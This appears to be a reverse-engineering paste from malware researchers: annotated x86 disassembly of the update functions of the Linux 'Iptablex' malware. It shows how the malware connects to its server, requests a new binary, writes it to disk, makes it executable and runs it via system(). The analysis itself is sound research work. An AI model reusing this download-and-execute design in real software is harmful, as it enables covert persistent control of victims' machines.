;; Server Updater code reversed | #MalwareMustDie - @unixfreaxjp /malware/Iptablex]$ date
;; Mon Jun 16 14:08:26 JST 2014
;; Function updatepth()
.text:0804A610 public updatepth
.text:0804A610 updatepth proc near
.text:0804A610 var_28 = dword ptr -28h
.text:0804A610 var_24 = dword ptr -24h
.text:0804A610 var_20 = dword ptr -20h
.text:0804A610 var_C = dword ptr -0Ch
.text:0804A610 var_8 = word ptr -8
.text:0804A610 var_6 = word ptr -6
.text:0804A610 arg_0 = dword ptr 8
.text:0804A610
.text:0804A610 push ebp
.text:0804A611 mov ebp, esp
.text:0804A613 push ebx
.text:0804A614 sub esp, 24h
.text:0804A617 mov edx, [ebp+arg_0]
.text:0804A61A mov [ebp+var_C], 0
.text:0804A621 mov [ebp+var_6], 0
.text:0804A627 mov [ebp+var_8], 0
.text:0804A62D test edx, edx
.text:0804A62F jz short loc_804A690
.text:0804A631 mov eax, [edx+1]
.text:0804A634 mov ebx, 1
.text:0804A639 mov [ebp+var_C], eax
.text:0804A63C movzx eax, word ptr [edx+5]
.text:0804A640 mov [ebp+var_6], ax
.text:0804A644 movzx eax, word ptr [edx+7]
.text:0804A648 mov [esp+28h+var_28], edx
.text:0804A64B mov [ebp+var_8], ax
.text:0804A64F call free
.text:0804A654
.text:0804A654 loc_804A654:
.text:0804A654 movzx eax, [ebp+var_8]
.text:0804A658 mov [esp+28h+var_20], eax
.text:0804A65C movzx eax, [ebp+var_6]
.text:0804A660 mov [esp+28h+var_24], eax
.text:0804A664 mov eax, [ebp+var_C]
.text:0804A667 mov [esp+28h+var_28], eax
.text:0804A66A call updatesrv ;; call the next funcion.see below blob...
.text:0804A66F test eax, eax
.text:0804A671 jnz short loc_804A690
.text:0804A673 mov [esp+28h+var_28], 2DC6C0h
.text:0804A67A call usleep
.text:0804A67F cmp ebx, 5
.text:0804A682 jz short loc_804A690
.text:0804A684 add ebx, 1
.text:0804A687 jmp short loc_804A654
.text:0804A690 loc_804A690:
.text:0804A690 mov [esp+28h+var_28], 0
.text:0804A697 call pthread_exit
.text:0804A69C nop
.text:0804A69D nop
.text:0804A69E nop
.text:0804A69F nop
.text:0804A69F updatepth end
;; Function updatesrv()
.text:0804A2C0 public updatesrv
.text:0804A2C0 updatesrv proc near
.text:0804A2C0
.text:0804A2C0 var_948 = dword ptr -948h
.text:0804A2C0 var_944 = dword ptr -944h
.text:0804A2C0 var_940 = dword ptr -940h
.text:0804A2C0 var_93C = dword ptr -93Ch
.text:0804A2C0 var_938 = dword ptr -938h
.text:0804A2C0 var_934 = dword ptr -934h
.text:0804A2C0 var_930 = dword ptr -930h
.text:0804A2C0 var_920 = dword ptr -920h
.text:0804A2C0 var_120 = dword ptr -120h
.text:0804A2C0 var_20 = dword ptr -20h
.text:0804A2C0 var_1C = dword ptr -1Ch
.text:0804A2C0 var_10 = dword ptr -10h
.text:0804A2C0 arg_0 = dword ptr 8
.text:0804A2C0 arg_4 = word ptr 0Ch
.text:0804A2C0 arg_8 = dword ptr 10h
.text:0804A2C0
.text:0804A2C0 push ebp
.text:0804A2C1 mov ebp, esp
.text:0804A2C3 push edi
.text:0804A2C4 push esi
.text:0804A2C5 push ebx
.text:0804A2C6 sub esp, 93Ch ; contains "pathname"
.text:0804A2CC mov eax, [ebp+arg_8]
.text:0804A2CF mov [ebp+var_10], 0
.text:0804A2D6 movzx ebx, [ebp+arg_4]
.text:0804A2DA mov word ptr [ebp+var_930], ax
.text:0804A2E1 mov [esp+948h+var_940], 0
.text:0804A2E9 mov [esp+948h+var_944], 1
.text:0804A2F1 mov [esp+948h+var_948], 2
.text:0804A2F8 call socket
.text:0804A2FD test eax, eax
.text:0804A2FF mov esi, eax
.text:0804A301 js loc_804A400
.text:0804A307 mov eax, [ebp+arg_0]
.text:0804A30A mov word ptr [ebp+var_20], 2
.text:0804A310 ror bx, 8
.text:0804A314 mov word ptr [ebp+var_20+2], bx
.text:0804A318 mov [ebp+var_1C], eax
.text:0804A31B lea eax, [ebp+var_20]
.text:0804A31E mov [esp+948h+var_940], 10h
.text:0804A326 mov [esp+948h+var_944], eax
.text:0804A32A mov [esp+948h+var_948], esi
.text:0804A32D call connect
.text:0804A332 test eax, eax
.text:0804A334 js loc_804A400
.text:0804A33A lea edi, [ebp+var_120]
.text:0804A340 mov [esp+948h+var_940], 100h
.text:0804A348 mov [esp+948h+var_944], 0
.text:0804A350 mov [esp+948h+var_948], edi
.text:0804A353 call memset
.text:0804A358 mov [esp+948h+var_948], edi
.text:0804A35B call GetMyPath
.text:0804A360 mov ecx, edi
.text:0804A362
.text:0804A362 loc_804A362:
.text:0804A362 mov eax, [ecx]
.text:0804A364 add ecx, 4
.text:0804A367 lea edx, [eax-1010101h]
.text:0804A36D not eax
.text:0804A36F and edx, eax
.text:0804A371 and edx, 80808080h
.text:0804A377 jz short loc_804A362
.text:0804A379 test edx, 8080h
.text:0804A37F jz loc_804A410
.text:0804A385
.text:0804A385 loc_804A385:
.text:0804A385 add dl, dl
.text:0804A387 sbb ecx, 3
.text:0804A38A mov [esp+948h+var_948], ecx
.text:0804A38D call GetRandFileName
.text:0804A392 lea eax, [ebp+var_930]
.text:0804A398 mov [esp+948h+var_93C], 0
.text:0804A3A0 mov [esp+948h+var_940], 2
.text:0804A3A8 mov [esp+948h+var_944], eax
.text:0804A3AC mov [esp+948h+var_948], esi
.text:0804A3AF call send
.text:0804A3B4 cmp eax, 2
.text:0804A3B7 jz short loc_804A420
.text:0804A3B9
.text:0804A3B9 loc_804A3B9:
.text:0804A3B9
.text:0804A3B9 mov [esp+948h+var_948], esi
.text:0804A3BC call close
.text:0804A3C1 mov [esp+948h+var_944], 0
.text:0804A3C9 mov [esp+948h+var_948], edi
.text:0804A3CC call access
.text:0804A3D1 test eax, eax
.text:0804A3D3 jnz short loc_804A400
.text:0804A3D5 mov [esp+948h+var_948], edi
.text:0804A3D8 call Get_File_Size
.text:0804A3DD cmp eax, [ebp+var_10]
.text:0804A3E0 jz loc_804A480
.text:0804A3E6 mov [esp+948h+var_948], edi
.text:0804A3E9 call MyDeleteFile
.text:0804A3EE add esp, 93Ch
.text:0804A3F4 xor eax, eax
.text:0804A3F6 pop ebx
.text:0804A3F7 pop esi
.text:0804A3F8 pop edi
.text:0804A3F9 pop ebp
.text:0804A3FA retn
.text:0804A400 loc_804A400:
.text:0804A400 xor eax, eax
.text:0804A402
.text:0804A402 loc_804A402:
.text:0804A402 add esp, 93Ch
.text:0804A408 pop ebx
.text:0804A409 pop esi
.text:0804A40A pop edi
.text:0804A40B pop ebp
.text:0804A40C retn
.text:0804A40D align 10h ; here's the "fd" passed
.text:0804A410 loc_804A410:
.text:0804A410 shr edx, 10h
.text:0804A413 add ecx, 2
.text:0804A416 jmp loc_804A385
.text:0804A420
.text:0804A420 loc_804A420:
.text:0804A420 lea eax, [ebp+var_920]
.text:0804A426 mov [ebp+var_938], eax
.text:0804A42C mov [esp+948h+var_940], 800h
.text:0804A434 mov [esp+948h+var_944], 0
.text:0804A43C mov [esp+948h+var_948], eax
.text:0804A43F call memset
.text:0804A444 lea eax, [ebp+var_920]
.text:0804A44A mov [esp+948h+var_93C], 0
.text:0804A452 mov [esp+948h+var_940], 800h
.text:0804A45A mov [esp+948h+var_944], eax
.text:0804A45E mov [esp+948h+var_948], esi
.text:0804A461 call recv
.text:0804A466 cmp eax, 4
.text:0804A469 jz short loc_804A4C0
.text:0804A46B
.text:0804A46B loc_804A46B:
.text:0804A46B mov [esp+948h+var_948], esi
.text:0804A46E call close
.text:0804A473 add esp, 93Ch
.text:0804A479 xor eax, eax
.text:0804A47B pop ebx
.text:0804A47C pop esi
.text:0804A47D pop edi
.text:0804A47E pop ebp
.text:0804A47F retn ; returning arguement "args"
.text:0804A480
.text:0804A480 loc_804A480:
.text:0804A480 lea eax, [ebp+var_920]
.text:0804A486 mov [esp+948h+var_940], 800h
.text:0804A48E mov [esp+948h+var_944], 0
.text:0804A496 mov [esp+948h+var_948], eax
.text:0804A499 call memset
.text:0804A49E mov [esp+948h+var_944], 309h
.text:0804A4A6 mov [esp+948h+var_948], edi
.text:0804A4A9 call chmod
.text:0804A4AE mov [esp+948h+var_948], edi
.text:0804A4B1 call system
.text:0804A4B6 mov eax, 1
.text:0804A4BB jmp loc_804A402
.text:0804A4C0
.text:0804A4C0 loc_804A4C0:
.text:0804A4C0 mov eax, [ebp+var_920]
.text:0804A4C6 mov [ebp+var_10], eax
.text:0804A4C9 lea eax, [ebp+var_920]
.text:0804A4CF mov [esp+948h+var_940], 800h
.text:0804A4D7 mov [esp+948h+var_944], 0
.text:0804A4DF mov [esp+948h+var_948], eax
.text:0804A4E2 call memset
.text:0804A4E7 mov eax, [ebp+var_10]
.text:0804A4EA mov [esp+948h+var_944], offset aGetfile_08x ; called db "GETFILE_%08X"
.text:0804A4F2 mov [esp+948h+var_940], eax
.text:0804A4F6 lea eax, [ebp+var_920]
.text:0804A4FC mov [esp+948h+var_948], eax
.text:0804A4FF call sprintf
.text:0804A504 lea ecx, [ebp+var_920]
.text:0804A50A
.text:0804A50A loc_804A50A:
.text:0804A50A mov eax, [ecx]
.text:0804A50C add ecx, 4
.text:0804A50F lea edx, [eax-1010101h]
.text:0804A515 not eax
.text:0804A517 and edx, eax
.text:0804A519 and edx, 80808080h
.text:0804A51F jz short loc_804A50A
.text:0804A521 test edx, 8080h
.text:0804A527 jnz short loc_804A52F
.text:0804A529 shr edx, 10h
.text:0804A52C add ecx, 2
.text:0804A52F
.text:0804A52F loc_804A52F:
.text:0804A52F add dl, dl
.text:0804A531 sbb ecx, 3
.text:0804A534 sub ecx, [ebp+var_938]
.text:0804A53A lea eax, [ebp+var_920]
.text:0804A540 mov [esp+948h+var_93C], 0
.text:0804A548 lea ebx, [ecx+1]
.text:0804A54B mov [esp+948h+var_940], ebx
.text:0804A54F mov [esp+948h+var_944], eax
.text:0804A553 mov [esp+948h+var_948], esi
.text:0804A556 call send
.text:0804A55B cmp eax, ebx
.text:0804A55D jnz loc_804A46B
.text:0804A563 mov [esp+948h+var_944], offset aWb
; contains "wb"..means..write as binary..
.text:0804A56B mov [esp+948h+var_948], edi
.text:0804A56E call fopen
.text:0804A573 test eax, eax
.text:0804A575 mov [ebp+var_934], eax
.text:0804A57B jnz short loc_804A5AA
.text:0804A57D jmp loc_804A3B9
.text:0804A582
.text:0804A582 loc_804A582:
.text:0804A582 mov eax, [ebp+var_934]
.text:0804A588 mov [esp+948h+var_940], ebx
.text:0804A58C mov [esp+948h+var_944], 1
.text:0804A594 mov [esp+948h+var_93C], eax
.text:0804A598 lea eax, [ebp+var_920]
.text:0804A59E mov [esp+948h+var_948], eax
.text:0804A5A1 call fwrite
.text:0804A5A6 cmp ebx, eax
.text:0804A5A8 jnz short loc_804A5F0
.text:0804A5AA
.text:0804A5AA loc_804A5AA:
.text:0804A5AA lea eax, [ebp+var_920]
.text:0804A5B0 mov [esp+948h+var_940], 800h
.text:0804A5B8 mov [esp+948h+var_944], 0
.text:0804A5C0 mov [esp+948h+var_948], eax
.text:0804A5C3 call memset
.text:0804A5C8 lea eax, [ebp+var_920]
.text:0804A5CE mov [esp+948h+var_93C], 0
.text:0804A5D6 mov [esp+948h+var_940], 800h
.text:0804A5DE mov [esp+948h+var_944], eax
.text:0804A5E2 mov [esp+948h+var_948], esi
.text:0804A5E5 call recv
.text:0804A5EA test eax, eax
.text:0804A5EC mov ebx, eax
.text:0804A5EE jg short loc_804A582
.text:0804A5F0
.text:0804A5F0 loc_804A5F0:
.text:0804A5F0 mov eax, [ebp+var_934]
.text:0804A5F6 mov [esp+948h+var_948], eax
.text:0804A5F9 call fclose
.text:0804A5FE jmp loc_804A3B9
.text:0804A5FE updatesrv endp
Comments